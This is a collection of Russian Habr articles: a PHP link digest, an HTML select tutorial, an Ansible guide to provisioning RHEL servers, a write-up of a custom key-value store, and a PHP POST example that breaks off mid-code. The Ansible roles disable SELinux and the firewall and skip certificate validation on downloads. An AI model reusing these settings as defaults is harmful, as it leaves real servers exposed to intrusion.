* [Sylius — ecommerce-решение для Symfony2](http://sylius.com/) — Бесплатная платформа для электронной коммерции на базе Symfony 2 обзавелась новым сайтом и теперь поддерживается компанией [KNP Labs](http://knplabs.com/).
* [Yiinitializr](http://yiinitializr.2amigos.us/) — Новый инструмент для быстрого создания шаблонного проекта на Yii. Подбробнее [тут](http://www.ramirezcobos.com/2013/04/12/yiinitializr-maximum-acceleration-for-your-yii-project-start/) и [тут](http://www.ramirezcobos.com/2013/04/21/yiinitializr-the-library/).
* [PHP Refactoring Browser](http://qafoo.com/blog/041_refactoring_browser.html) — Альфа релиз совершенно нового инструмента, позволяющего решать задачи автоматического рефакторинга, на которые раньше были способны только IDE, например, извлечение метода. В посте примеры использования 3-х доступных на данный момент вариантов рефакторинга. Код на [GitHub](https://github.com/QafooLabs/php-refactoring-browser).
* [Compose — композиция функций](https://github.com/igorw/compose) — Интересная библиотека, которая позволяет объединять php-функции в pipeline, при этом результат выполнения первой функции будет передан во вторую, второй — в третью и так далее.
### PHP
* [Трейты — это статический код](http://www.whitewashing.de/2013/04/12/traits_are_static_access.html) — О появившихся в PHP 5.4 трейтах уже писали не раз, но мнения об оправданности их использования [расходятся](http://habrahabr.ru/post/167153/) . Автор поста пишет о том, что трейты имеют те же недостатки, что и использование статического кода, а также некоторые другие.
* [Особенности логического сравнения в PHP](http://habrahabr.ru/post/176117/)  — В дайджестах упоминались отличные ответы на StackOverflow от PHP core-разработчика Никиты Попова. По ссылке хабраперевод интересной информации об операторах сравнения в PHP.
* [Стоит ли микрооптимизация потраченного на нее времени?](http://stackoverflow.com/questions/3470990/is-micro-optimization-worth-the-time/3471356#3471356) — Не раз обсуждавшийся вопрос вылился в более конкретную форму: что быстрее `is_array($array)` или `$array === (array) $array` ? По ссылке подробнейший ответ с деталями реализации.
### Материалы для обучения
* [Composer primer](http://daylerees.com/composer-primer) — Отличный большой туториал по использованию Composer. Если вы еще не применяете этот замечательный инструмент для управления зависимостями, то самое время начать с прочтения этого подробнейшего руководства.
* [Развертывание PHP-приложений с помощью Phing](http://systemsarchitect.net/deploying-php-applications-with-phing/) — Сколько вам нужно совершить действий, чтобы развернуть ваше приложение? Автор поста считает, что если больше 2, то вам следует подумать об автоматизации процесса, например с помощью [Phing](http://www.phing.info/). По ссылке хороший туториал по этому инструменту, который основан на [Apache Ant](http://ru.wikipedia.org/wiki/Apache_Ant).
* [Близорук ли PSR-0, или может быть вы?](http://philsturgeon.co.uk/blog/2013/04/is-psr0-shortsighted-or-are-you) — Вокруг стандартов PSR действительно было много споров, и очень часто можно наблюдать посты с критикой PSR. После очередного такого поста [«PSR-0 близорук»](http://r.je/php-psr-0-pretty-shortsighted-really.html), один из главных участников и идеолог группы PHP-FIG — Phil Sturgeon, написал пост, в котором ответил на все наболевшие вопросы по PSR-0, не скрывая, что у стандарта есть пара нерешенных вопросов, но, тем не менее, с поставленной задачей он отлично справляется. Стоит обратить внимание на комментарии, некоторые из них по объему текста и информации даже больше самого поста.
* [Шпаргалка по PHPUnit vs. Phake](http://css.dzone.com/articles/phpunit-vs-phake-cheatsheet) — Автор на небольших примерах сравнивает два популярных инструмента для модульного тестирования.
* [Изучая Rails (и Ruby)](https://blog.engineyard.com/2013/learning-rails-and-ruby) — Опытный PHP-разработчик, участник PHP-сообщества и докладчик, был вынужден изучить и использовать Ruby on Rails для одного из проектов. В своем посте он, как PHP-разработчик, делится полученным опытом и впечатлениями нового языка и фреймворка, указывая на различия и превосходства одного или другого.
* [О стабильности Symfony](http://fabien.potencier.org/article/68/about-symfony-stability-over-features) — В своем посте создатель Symfony и глава SensioLabs — Fabien Potencier, пишет о принципе которому должны следовать разработчики фреймворка. Он призывает сосредоточиться на повышении стабильности (исправление ошибок, написание тестов и документации), а не на реализации новых возможностей, так как это не только улучшит фреймворк, но и привлечет новых пользователей.
* [Советы и рекомендации по прохождению Zend PHP Certification](http://7php.com/zend-certification-advice-eric-hogue/) — Если вы собираетесь проходить сертификацию по PHP от Zend, то обязательно ознакомьтесь с этим интервью, а также с двумя предыдущими: [раз](http://7php.com/zend-certification-advice-michelangelo-van-dam/), [два](http://7php.com/zend-certification-advice-lorna-mitchell/).
* [Интервью с создателем PHPClasses.org — Manuel Lemos.](http://7php.com/php-interview-manuel-lemos/) — Представитель бразильского PHP-сообщества и создатель PHPClasses.org — Мануэль, отвечает на вопросы о своем опыте в мире PHP и дает полезные советы разработчикам.
* [Автоматизированное резервное копирование на Google Drive с помощью PHP](http://systemsarchitect.net/automated-backups-to-google-drive-with-php-api/) — Используя официальный [API-клиент](http://code.google.com/p/google-api-php-client/), автор реализовал небольшой консольный [скрипт](https://github.com/lukaszkujawa/cp2google) для копирования файлов на Google Drive. Пост содержит немного общей информации об использовании Google Drive API.
* [Расширяем шаблоны Twig](http://phpmaster.com/extending-twig-templates-inheritance-filters-and-functions/) — Небольшой туториал о расширении базовых возможностей популярного шаблонизатора с помощью наследования, использования фильтров и функций.
* [Беседа с PHP-экспертом](http://www.sitepoint.com/what-happened-when-we-talked-php-with-the-experts/) — В качестве эксперта на вопросы отвечала [Lorna Jane Mitchell](http://www.lornajane.net/), в основном давая полезные советы для новичков. По ссылке полное содержание беседы со ссылками на материалы.
* [PSR-Duh!](http://net.tutsplus.com/tutorials/tools-and-tips/psr-duh/) — Небольшой туториал о рефакторинге кода, с целью приведения к виду, соответствующему стандартам PSR.
* [Нужен ли нам фреймворк для этого? Или поторопитесь, PHP-FIG](http://happyaccidents.me/blog/do-we-need-a-framework-for-that#.UW6NWoK5L-k) — В своем посте автор пишет о том, что использование фреймворков не всегда оправдано, и часто можно обойтись использованием набора библиотек, решающих конкретные задачи. В связи с этим, автор призывает PHP-FIG заняться стандартизацией интерфейсов. В таком случае будет гораздо проще комбинировать библиотеки и внедрять зависимости.
* [Генерирование одноразовых ссылок](http://phpmaster.com/generating-one-time-use-urls/) — Небольшой туториал, в котором описан один из способов решения задачи генерирования ссылок, доступных для использования только единожды и имеющих ограниченное время работы. Такие ссылки могут быть полезны для всякого рода верификаций.
* [HTTP — протокол, который обязан знать веб-разработчик](http://net.tutsplus.com/tutorials/tools-and-tips/http-the-protocol-every-web-developer-must-know-part-1/) — Пост рекомендуется всем, у кого есть пробелы в знаниях протокола HTTP. Базовая информация схеме работы, структура запросов, коды ответов, рассмотрены основные заголовки. Примеры и ссылки инструменты для изучения прилагаются.
* [Погружаемся в Behat](http://css.dzone.com/articles/diving-behat) — Немного личного опыта и впечатлений от использования отличного BDD-инструмента.
* [Используем Dice для внедрения зависимости на PHP](http://www.phpbuilder.com/articles/application-architecture/design/use-dice-for-simplified-php-dependency-injection.html) — Небольшой туториал, в котором показано, как можно быстро реализовать DI-контейнер для управления зависимостями в вашем PHP-приложении. На помощь приходит минималистичный, но достаточно мощный инструмент [Dice](http://r.je/dice.html).
* [6 вещей, которые следует учесть при выборе фреймворка](http://phpmaster.com/6-things-to-consider-when-choosing-a-framework/) — Обилие качественных решений среди PHP-фреймворков конечно радует, но с другой стороны затрудняет выбор. Конечно же, в первую очередь хочется отдать предпочтение тому, с которым работал больше всего, но прежде рассмотрите приведенные автором аргументы. Возможно, для решения следующей задачи вам следует выбрать другой фреймворк.
* [Я был плохим PHP-разработчиком](http://latviancoder.com/story/i-was-bad) — Немного личного опыта и советов по самосовершенствованию в качестве разработчика.
* [Проваленный сайд-проект](http://www.whitewashing.de/2013/04/06/a_failed_side_project.html) — Многие разработчики помимо основной работы занимаются своими личными или командными сайд-проектами. Провалив один такой проект, автор, тем не менее, получил ценный опыт, которым и поделился в заметке.
* [Работа в PHP с Tokenizer](http://habrahabr.ru/post/176725/)  — Отличный хабрапост, в котором приведены примеры использования лексера (tokenizer).
* [Рефлексия в PHP](http://net.tutsplus.com/tutorials/php/reflection-in-php/) — Туториал, в котором описаны базовые принципы и показаны примеры использования [рефлексии](http://ru.wikipedia.org/wiki/Отражение_(программирование)) в PHP.
* [Заповеди PHP](http://biasedphp.com/php-commandments) — Автор собрал и описал несколько вещей, которые никогда не стоит делать на PHP. Но, как говорил старина Оби-Ван: «Только ситхи все возводят в абсолют», поэтому кое в чем с автором можно поспорить.
* [Используем SimplePie для чтения из новостных каналов](http://phpmaster.com/consuming-feeds-with-simplepie/) — Почему бы в связи с закрытием Google Reader не написать свой агрегатор? По ссылке небольшой туториал по использованию библиотеки [SimplePie](http://simplepie.org/), благодаря которой работа с RSS-каналами становится до неприличия простой.
* [15 советов для пользователей MySQL](https://speakerdeck.com/jaytaph/15-protips-for-mysql-4developers) — Слайды с весьма полезными советами.
* [Использование ActiveRecord от Yii в игре тайм менеджере](http://habrahabr.ru/company/alawar/blog/177181/)  — Хороший хабрапост, в котором автор делится опытом расширения Yii фреймворка для уменьшения числа запросов к базе данных.
* [Архив скринкастов по Laravel 4](http://laracasts.com/) — Отличный новый ресурс с компиляцией скринкастов по фреймворку Laravel. Желающие могут записать и отправить свой собственный скринкаст.
* [Аспектно-ориентированное программирование на PHP с помощью Go!](http://net.tutsplus.com/tutorials/php/aspect-oriented-programming-in-php-with-go/) — Автор замечательной библиотеки Go! AOP уже публиковал несколько постов на хабре: [Избавляемся от дублирования сквозного кода в PHP](http://habrahabr.ru/post/165329/) , [Знакомимся с аспектно-ориентированным программированием в PHP](http://habrahabr.ru/post/170021/) , [Шаблон программирования «Текучий интерфейс» в PHP](http://habrahabr.ru/post/170019/) . На этот раз англоязычный туториал с примерами использования этого полезного инструмента.
[Ссылка](http://habrahabr.ru/company/zfort/blog/175931/) на предыдущий выпуск. | https://habr.com/ru/post/177555/ | null | ru | null |
# Как убрать пустой тег Option в Select
В данной мини туториале, для начинающих изучать веб-разработку, описывается то, как сделать меню выбора (тег Select) пустым по умолчанию и скрыть пустой тег Option в меню выбора опций.
Если вам необходимо создать выпадающий список **(тег select), у которого по умолчанию не выбрано ничего**, то вам достаточно создать тег option и прописать ему атрибуты html *selected disabled.*
")Отображение выпадающего списка без пустого тега option (Australia выбрана по умолчанию)Отображение выпадающего списка c пустым тегом option, без атрибута hiddenЕсли вы хотите, **чтобы в вариантах выбора пустой option не было видно**, самым оптимальным вариантом будет дописать тегу атрибут hidden.
Отображение выпадающего списка c пустым тегом option, с атрибутом hiddenСуществует также способ скрытия пустого тега option в вариантах выбора **с помощью css**, для этого пропишите тегу **option** в стилях **display:none;**.
Отображение выпадающего списка без атрибута hidden и без display: none;Отображение выпадающего списка без атрибута hidden и с display: none;[Код на Codeopen](https://codepen.io/webfrontden/pen/poaOPER).
Если у вас остались вопросы, критика или комментарии — обязательно напишите мне, я с радостью отвечу вам.
А сейчас я прощаюсь и желаю вам хорошего дня!
Денис | https://habr.com/ru/post/670390/ | null | ru | null |
# Разворачиваем окружение для Java-приложения с помощью Ansible
За мной, за мной, читатель, и я проведу тебя в чарующий мир автоматизации разворачивания окружения на серверах под управлением Linux семейства RHEL.
Один из наших java-проектов вырос, стал совсем взрослым и сейчас занимает 4 контура:
Dev — контур для команды разработки,
Qa — контур для команды тестирования,
Stage — контур для демонстрации новых фич заказчику,
Production — боевой контур.
Каждый контур содержит два одинаковых сервера с идентичным набором компонентов окружения для нашего приложения:
linux Oracle — операционная система,
jdk — комплект приложений Java,
haproxy — proxy сервер,
nginx — веб-сервер для отдачи статики,
mysql — субд.
Перед командой эксплуатации встал резонный вопрос: как настроить управление окружением на восьми серверах и сохранить оптимистичное отношение к жизни.
После краткого сравнения систем управления конфигурациями был выбран Ansible. В его пользу сыграли простота, гибкость и отсутствие агентов на управляемых серверах.

Теперь немного расскажем об архитектуре ролей Ansible для проекта.
Для установки и первоначальной настройки каждого компонента окружения написана отдельная роль. Последующая кастомизация настроек каждого компонента окружения также выделена в дополнительную роль. Это позволило нам избежать дублирования общих стандартных ролей для остальных проектов.
Playbook c последовательностью выполняемых ролей для подключения новой ноды в контур выглядит так:
```
- hosts:
- project_group
user: username
become: yes
gather_facts: true
roles:
- rhel_install_new_server
- rhel_install_java
- rhel_install_haproxy
- rhel_install_nginx
- rhel_install_mysql
```
А теперь расскажем о каждой роли поподробнее.
### Роль rhel\_install\_new\_server
Выполняет общую настройку операционной системы и установку системных утилит.
Файл roles/rhel\_install\_new\_server/tasks/main.yml
```
---
# tasks file for rhel_install_new_server
# Проверяем и устанавливаем системные обновления:
- name: yum update
yum:
name: "*"
state: latest
update_cache: yes
# Подключаем EPEL repository:
- name: install EPEL repository
yum:
name: https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm
state: present
update_cache: yes
# Устанавливаем стандартные утилиты. Список пакетов задан в переменной tools_packages:
- name: install tools
yum:
name: '{{ item.name }}'
state: present
update_cache: yes
with_items: '{{ tools_packages }}'
# Выставляем автозагрузку для сетевого интерфейса по умолчанию:
- name: set autoload for default interface
lineinfile:
path: "/etc/sysconfig/network-scripts/ifcfg-{{ansible_default_ipv4.interface}}"
regexp: '^ONBOOT='
line: 'ONBOOT="yes"'
# Отключаем IPv6 для интерфейса по умолчанию:
- name: disable IPv6 for eth0
replace:
path: "/etc/sysconfig/network-scripts/ifcfg-{{ansible_default_ipv4.interface}}"
regexp: '^(IPV6.*=).*$'
replace: '\1"no"'
# Отключаем IPv6:
- name: disable IPv6
blockinfile:
path: /etc/sysctl.d/disableipv6.conf
create: yes
marker: no
block: |
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
# Отключаем SELinux:
- name: disable SELinux
selinux:
state: disabled
# Отключаем локальный firewall:
- name: disable firewall
systemd:
name: firewalld
enabled: no
state: stopped
ignore_errors: yes
# Выставляем часовой пояс. Временная зона задана в переменной timezone:
- name: set timezone to UTC
timezone:
name: '{{ timezone }}'
# Выставляем синхронизацию времени в крон:
- name: set synchronize time in cron
cron:
name: "set synchronize time by ansible"
minute: 1
job: "/usr/sbin/ntpdate -u pool.ntp.org >/dev/null 2>&1"
# Чистим старые ядра:
- name: Remove old kernels
shell: "rpm -q kernel | grep -v `uname -r` | grep -v `/sbin/grubby --default-kernel | sed -r 's#^/boot/vmlinuz-##'` | xargs rpm -e || true"
```
**Файл с переменными roles/rhel\_install\_new\_server/vars/main.yml**
```
---
# vars file for rhel_install_new_server
tools_packages:
- name: vim
- name: mc
- name: less
- name: sysstat
- name: iotop
- name: strace
- name: traceroute
- name: screen
- name: rsync
- name: curl
- name: python
- name: wget
- name: zlib
- name: unzip
- name: bind-utils
- name: ntp
- name: ntpdate
- name: telnet
- name: nmap
- name: tcpdump
- name: logrotate
- name: net-tools
- name: bash-completion
- name: yum-utils
- name: mtr
timezone: UTC
```
### Роль rhel\_install\_java — установка Java
На нашем проекте используется пакет jdk версии 8u60. Дополнительно мы заранее скачали и положили в папку roles/rhel\_install\_java/files/ файлы JCE: US\_export\_policy.jar и local\_policy.jar.
**Файл с переменными roles/rhel\_install\_java/vars/main.yml**
```
---
# vars file for roles/rhel_install_java
java_dst_path: "/opt/dst/java"
download_url: "http://download.oracle.com/otn/java/jdk/8u60-b27/jdk-8u60-linux-x64.rpm"
java_cookie: "Cookie:' gpw_e24=http%3A%2F%2Fwww.oracle.com%2F; oraclelicense=accept-securebackup-cookie'"
```
Файл roles/rhel\_install\_java/tasks/main.yml
```
---
# tasks file for roles/rhel_install_java
# Создадим папку для дистрибутивов:
- name: java | create java dst directory
file:
path: "{{ java_dst_path }}"
state: directory
recurse: yes
owner: root
group: root
mode: 0755
# Скачиваем дистрибутив jdk:
- name: java | download java
get_url:
url: "{{ download_url }}"
dest: "{{ java_dst_path }}"
tmp_dest: "{{ java_dst_path }}"
headers: "{{ java_cookie }}"
validate_certs: no
owner: root
group: root
mode: 0744
force: yes
ignore_errors: True
# Находим скачанный jdk в папке дистрибутивов и заносим имя файла в переменную:
- name: java | register java rpm
find:
paths: "{{ java_dst_path }}"
patterns: "*.rpm"
register: java_rpm
# Проверим значение переменной:
- debug: msg={{ java_rpm.files.0.path }}
# Установим скачанный пакет:
- name: java | install java rpm
yum:
name: "{{ java_rpm.files.0.path }}"
state: present
# Копируем Java Cryptography Extension:
- name: java | copy JCE
copy:
src: files/{{ item }}
dest: /usr/java/default/jre/lib/security/
owner: root
group: root
mode: 0644
backup: yes
with_items:
- US_export_policy.jar
- local_policy.jar
```
### Роль rhel\_install\_haproxy — установка haproxy
Файл roles/rhel\_install\_haproxy/tasks/main.yml
```
---
# tasks file for install_haproxy
# Устанавливаем последнюю версию haproxy:
- name: install the latest version of haproxy
yum:
name: haproxy
state: latest
# делаем бэкап rsyslog.conf:
- name: backup rsyslog.conf
copy:
src: /etc/rsyslog.conf
dest: /etc/rsyslog.conf_orig
force: no
remote_src: true
# Включаем udp в rsyslog:
- name: format rsyslog | set UDP options
blockinfile:
path: /etc/rsyslog.conf
block: |
$ModLoad imudp
$UDPServerAddress 127.0.0.1
$UDPServerRun 514
state: present
insertafter: '^#\$UDPServerRun.*$'
notify:
- restart rsyslog
# создаём файл конфигурации haproxy для rsyslog:
- name: create rsyslog for haproxy
blockinfile:
path: /etc/rsyslog.d/haproxy.conf
content: |
if $programname == 'haproxy' and $syslogseverity <= '4' then /var/log/haproxy/haproxy.out
if $programname == 'haproxy' and $syslogseverity > '4' then /var/log/haproxy/haproxy.log
& stop
state: present
create: yes
notify:
- restart rsyslog
# делаем бэкап файла конфигурации logrotate:
- name: backup logrotate file haproxy
copy:
src: /etc/logrotate.d/haproxy
dest: /etc/logrotate.d/haproxy_orig
force: no
remote_src: true
# Копируем свой файл конфигурации logrotate для haproxy:
- name: copy logrotate file for haproxy
copy:
src: files/logrotate_haproxy
dest: /etc/logrotate.d/haproxy
force: yes
# добавляем в автозагрузку и запускаем сервис:
- name: enable and start haproxy
systemd:
name: haproxy
daemon_reload: yes
enabled: yes
state: started
```
Файл rhel\_install\_haproxy/handlers/main.yml
```
---
# handlers file for install_haproxy
- name: restart rsyslog
systemd:
name: rsyslog
state: restarted
- name: reload haproxy
systemd:
haproxy: name
state: reloaded
```
### Роль rhel\_install\_nginx — установка nginx
Файл rhel\_install\_nginx/tasks/main.yml
```
---
# tasks file for roles/rhel_install_nginx
# Подключаем официальный репозиторий nginx:
- name: add nginx repo
yum_repository:
name: nginx
description: nginx official repo
state: present
baseurl: "http://nginx.org/packages/rhel/{{ansible_distribution_major_version}}/{{ansible_userspace_architecture}}/"
gpgkey: http://nginx.org/keys/nginx_signing.key
gpgcheck: yes
enabled: yes
# Устанавливаем nginx:
- name: install nginx
yum:
name: nginx
state: present
update_cache: yes
# Создаём системные папки:
- name: create folders
file:
path: '/etc/nginx/{{ item }}'
state: directory
mode: 0755
with_items:
- conf-available
- sites-available
- sites-enabled
# Подключаем sites-enabled в конфиг nginx:
- name: enable sites-enabled dir
lineinfile:
dest: /etc/nginx/nginx.conf
state: present
insertafter: "(.*)include /etc/nginx/(.*)"
line: " include /etc/nginx/sites-enabled/*.conf;"
# Определяем существует ли default.conf:
- name: stat /etc/nginx/conf.d/default.conf
stat: path=/etc/nginx/conf.d/default.conf
register: defaultconf_stat
# Если существует, перемещаем его:
- name: Move default.conf
command: mv /etc/nginx/conf.d/default.conf /etc/nginx/sites-available/default.conf
when: defaultconf_stat.stat.exists
# Добавляем в автозагрузку и стартуем вебсервер:
- name: enable and started nginx
systemd:
name: nginx.service
enabled: yes
state: started
```
### Роль rhel\_install\_mysql — установка mysql
Здесь пришлось помучиться с первичной авторизацией в mysql.
Файл roles/rhel\_install\_mysql/vars/main.yml
```
---
# vars file for roles/rhel_install_mysql
mysql_repo_rpm: https://dev.mysql.com/get/mysql57-community-release-el7-11.noarch.rpm
mysql_packets:
- mysql-community-server
- mysql-community-common
- MySQL-python
mysql_log: /var/log/mysqld.log
```
Файл roles/rhel\_install\_mysql/handlers/main.yml
```
---
# handlers file for roles/rhel_install_percona_mysql
- name: restarted mysql
systemd:
name: mysqld
state: restarted
```
Файл roles/rhel\_install\_mysql/templates/root.cnf.j2
```
[client]
user=root
password={{ mysql_root_password }}
```
Файл roles/rhel\_install\_mysql/tasks/main.yml
```
--
-
# tasks file for roles/rhel_install_mysql
# Устанавливаем репозиторий yum:
- name: install mysql repo
yum:
name: "{{ mysql_repo_rpm }}"
state: installed
# Устанавливаем пакеты mysql:
- name: install mysql
yum:
name: "{{ mysql_packets }}"
state: installed
# Добавляем mysql в автозагрузку и запускаем его:
- name: enable mysql
systemd:
daemon_reload: yes
name: mysqld.service
enabled: yes
state: started
# Парсим лог файл mysql и получаем из него пароль рута, назначенный при установке и который нам необходимо сменить. Заносим пароль из файла лога в переменную mysql_root_temp_password.
- name: take default root password from mysql log file
shell: >
awk -F': ' '$0 ~ "temporary password"{print $2}' {{ mysql_log }} | tail -1
register: mysql_root_temp_password
# Проверяем, что мы действительно получили временный пароль:
- name: check mysql_root_temp_password
debug: msg={{ mysql_root_temp_password.stdout }}
when: mysql_root_temp_password is defined
# Назначаем временный пароль как действительный пароль для рута:
- name: Set temp root pass as root password
set_fact:
mysql_root_password: "{{ mysql_root_temp_password.stdout }}"
when: mysql_root_temp_password is defined
# Копируем шаблон с новым паролем рута:
- name: Copy the root credentials as .my.cnf file
template:
src: root.cnf.j2
dest: "~/.my.cnf"
mode: 0600
# Проверяем, валиден ли текущий пароль рута:
- name: register password expire
shell: mysql --defaults-file=~/.my.cnf -e "SELECT NOW();"
register: password_expired
ignore_errors: True
- name: check password_expired
debug: msg={{ password_expired.stdout }}
when: password_expired is defined
# Наконец-то устанавливаем постоянный пароль для рута на localhost:
- name: ALTER USER root@localhost
shell: mysql --defaults-file=~/.my.cnf --connect-expired-password -e "ALTER USER root@localhost IDENTIFIED BY '{{ mysql_root_password }}';"
when: password_expired.stdout.find("expired") != -1
# Устанавливаем постоянный пароль для остальных учётных записей рута:
- name: Update MySQL root password for all root accounts
mysql_user:
name: root
host: "{{ item }}"
password: "{{ mysql_root_password }}"
state: present
priv: "*.*:ALL,GRANT"
with_items:
- "{{ ansible_hostname }}"
- 127.0.0.1
- ::1
- localhost
when: mysql_root_temp_password is defined
# Удалим анонимного пользователя:
- name: Ensure Anonymous user(s) are not in the database
mysql_user:
name: ''
host: "{{ item }}"
state: absent
with_items:
- localhost
- "{{ ansible_hostname }}"
# Удалим тестовую базу данных:
- name: Remove the test database
mysql_db:
name: test
state: absent
```
На данном этапе мы получили «чистое» окружение, настройки которого необходимо кастомизировать под наш проект. Сделаем это с помощью дополнительной роли project\_configuration.
### Роль project\_configuration — кастомизация окружения
Перед выполнением роли проверим, что все необходимые компоненты установлены в системе.
Файл roles/project\_configuration/tasks/main.yml
```
######### check java
- name: register installed java
shell: java -version
args:
warn: no
register: java_present
failed_when: java_present.rc > 1
changed_when: no
tags: check_installed
- debug:
msg: "{{ java_present.rc }}"
tags: check_installed
- fail: msg="Please install java first"
when: java_present.rc == 1
tags: check_installed
######### check haproxy
- name: register installed haproxy
shell: rpm -q haproxy
args:
warn: no
register: haproxy_present
failed_when: haproxy_present.rc > 1
changed_when: no
tags: check_installed
- debug:
msg: "{{ haproxy_present.rc }}"
tags: check_installed
- fail: msg="Please install haproxy first"
when: haproxy_present.rc == 1
tags: check_installed
- include: tasks/project_haproxy.yml
when: haproxy_present.rc == 0
tags: check_installed
######### check nginx
- name: register installed nginx
shell: rpm -q nginx
args:
warn: no
register: nginx_present
failed_when: nginx_present.rc > 1
changed_when: no
tags: check_installed
- debug:
msg: "{{ nginx_present.rc }}"
tags: check_installed
- fail: msg="Please install nginx first"
when: nginx_present.rc == 1
tags: check_installed
- include: tasks/project_nginx.yml
when: nginx_present.rc == 0
tags: check_installed
######### check mysql
- name: register installed mysql
shell: rpm -q mysql57-community-release
args:
warn: no
register: mysql_present
failed_when: mysql_present.rc > 1
changed_when: no
tags: check_installed
- debug:
msg: "{{ mysql_present.rc }}"
tags: check_installed
- fail: msg="Please install mysql first"
when: mysql_present.rc == 1
tags: check_installed
- include: tasks/project_mysql.yml
when: mysql_present.rc == 0
tags: check_installed
```
При успешном выполнении проверок подключаются файлы:
tasks/project\_haproxy.yml
tasks/project\_nginx.yml
tasks/project\_mysql.yml
В них мы прописываем установку конфигурационных файлов с помощью шаблонов, установку ssl сертификатов, заведение необходимых системных пользователей, создание баз данных и т.д.
Как результат: после всех манипуляций мы получили рабочее окружение для нашего приложения. Теперь можно приступать к процедуре деплоймента приложения, но это уже совсем другая история, которой мы поделимся в следующей статье. | https://habr.com/ru/post/348682/ | null | ru | null |
# Система хранения для миллиардов записей с доступом по ключу

Постановка задачи
=================
В одном из прошлых проектов мне была поставлена задача написания системы для хранения миллиардов записей. Доступ к данным должен осуществляться по ключу: одному ключу в общем случае соответствует множество (на практике, вплоть до десятков миллионов) записей, которые могут добавляться, но не модифицироваться или удаляться.
К такому количеству записей опробованные SQL/NoSQL системы хранения оказались плохо приспособлены, поэтому клиент предложил с нуля разработать специализированное решение.
Выбранный подход
================
После серии опытов был выбран следующий подход. Данные в базе распределены по секциям, каждая из которых представляет собой файл или директорию на диске. Секции соответствует значение CRC16-хеша, т.е. возможно всего 65,536 секций. Практика показывает, что современные файловые системы (тестировалась ext4) достаточно эффективно справляются с таким количеством элементов внутри одной директории. Итак, добавляемые записи хешируются по ключу и распределяются по соответствующим секциям.
Каждая секция состоит из кэша (файл, в котором накапливаются неупорядоченные записи вплоть до заданного размера) и индекса (набора сжатых файлов, хранящих упорядоченные по ключу записи). Т.е. предполагается следующий сценарий работы:
1. Записи накапливаются в памяти до некоторого предела, а далее распределяются по секциям.
2. Внутри секции записи попадут в кэш, если он не превысит заданный размер.
3. Иначе содержимое индекса будет полностью вычитано (за некоторыми оговорками, о них ниже), к нему будет добавлено содержимое кэша, а далее все эти данные будут отсортированы и разбиты на файлы индекса (кэш при этом обнуляется).
Каждый индексный файл имеет то же имя, что и ключ первой хранимой записи (на практике оно url-encoded для совместимости с файловыми системами). Таким образом, при поиске записей по ключу индекс позволяет не вычитывать всю секцию, а только кэш и малую часть индексных файлов, в которых могут находиться искомые записи.
### Подробный алгоритм добавления записей в секцию
1. Если размер добавляемых записей в сумме с размером кэш-файла меньше заданного максимального объёма, то записи просто добавляется в кэш-файл, и на этом обработка секции завершена.
2. Иначе содержимое кэш-файла, а также индексные файлы читаются (исключая файлы с размером больше заданного лимита) и добавляется к обрабатываемой секции.
3. Секция сортируется по значению ключа.
4. Создаётся временная директория, в которую будут записаны новые индексные файлы.
5. Отсортированный массив записей делится на равные части (без разрыва записей) заданного размера (но с разными именами, в противном случае файл растёт до нужного размера, игнорируя лимит) и записываются в gzip-компрессированные индексные файлы. Каждый такой файл имеет имя \_url\_encoded<ключ>\_XXXX, где ключ — это ключ первой записи содержимого файла, а XXXX — 4 16-ричных разряда (нужны для различения файлов с одним значением ключа при сохранении лексикографического порядка именования). XXXX равен 0000, если в директории секции нет файла с таким именем, иначе 0001, и т.д.
6. Для всех файлов, с именами которых возникли коллизии (и пришлось увеличивать XXXX) создаём твёрдые ссылки во временной директории.
7. Удаляем старую директорию секции и переименовываем временную на её место.
Как пользоваться
================
[Mastore](https://github.com/ababo/mastore) (от massive storage) написан на Golang и собирается в исполняемый файл, запускаемый в режиме чтения, записи или самотестирования. Будучи запущенным в режиме записи Mastore читает из stdin текстовые строки, состоящие из ключа и значения, разделённых символом табуляции (для бинарных данных можно использовать дополнительное кодирование, например, Base85):
```
mastore write [-config=]
```
Для чтения записей по заданному ключу используется следующая команда:
```
mastore read [-config=] -key=
```
А для получения списка всех ключей:
```
mastore read [-config=] -keys
```
Mastore конфигурируется с помощью JSON-файла. Вот пример конфигурации по-умолчанию:
```
{
"StorePath": "$HOME/$STORE",
"MaxAccumSizeMiB": 1024,
"MaxCacheSizeKiB": 1024,
"MaxIndexBlockSizeKiB": 8192,
"MinSingularSizeKiB": 8192,
"CompressionLevel": -1,
"MaxGoroutines": 1
}
``` | https://habr.com/ru/post/317874/ | null | ru | null |
# Отправить POST через file_get_contents()
Чтобы получить содержимое веб-страницы все с удовольствием используют file\_get\_contents(), например file\_get\_contents('http://www.habrahabr.ru/'). Но я уже давно наблюдаю, что, как дело доходит до того, чтобы отправить POST, разработчики используют либо [CURL](http://docs.php.net/manual/ru/book.curl.php), либо [открывают сокеты](http://docs.php.net/manual/ru/function.fsockopen.php). Я не считаю, что это плохо или что не надо так делать, просто для решения простых задач можно использовать простые решения.
Я и сам так раньше делал, пока на наткнулся на понятие [контекстов потоковых операций](http://docs.php.net/manual/ru/context.php) в PHP. Контекст позволяет передать дополнительные параметры потоковому обработчику. Для http например, можно сконфигурировать POST-запрос или передать дополнительные заголовки.
file\_get\_contents() принимает 3 параметром «контекст», который собственно и конфигурирует сам запрос.
Ниже пример такого запроса или [RTFM](http://docs.php.net/manual/ru/context.http.php)
> `**php</b
>
> error\_reporting(E\_ALL);
>
> require\_once 'simpletest/unit\_tester.php';
>
> require\_once 'simpletest/default\_reporter.php';
>
>
>
> define('PARAM\_NAME', 'var');
>
> define('PARAM\_VALUE', 'testData');
>
> define('QUERY', 'var=testData');
>
>
>
> /\*\*
>
> \* Набор тестов
>
> \*/
>
> class FileGetContentsTest extends UnitTestCase {
>
>
>
> /\*\*
>
> \* Проверить, что пришел POST
>
> \*/
>
> public function testIsPost() {
>
> $this->assertEqual('POST', $\_SERVER['REQUEST\_METHOD'],
>
> 'Expected POST request');
>
> $this->assertTrue(isset($\_POST[PARAM\_NAME]) && $\_POST[PARAM\_NAME] == PARAM\_VALUE,
>
> 'Expected POST contains ' . QUERY);
>
> }
>
> }
>
>
>
> /\*\*
>
> \* Отправить POST
>
> \*/
>
> if (!$\_SERVER['QUERY\_STRING']) {
>
>
>
> // Создать контекст и инициализировать POST запрос
>
> $context = stream\_context\_create(array(
>
> 'http' => array(
>
> 'method' => 'POST',
>
> 'header' => 'Content-Type: application/x-www-form-urlencoded' . PHP\_EOL,
>
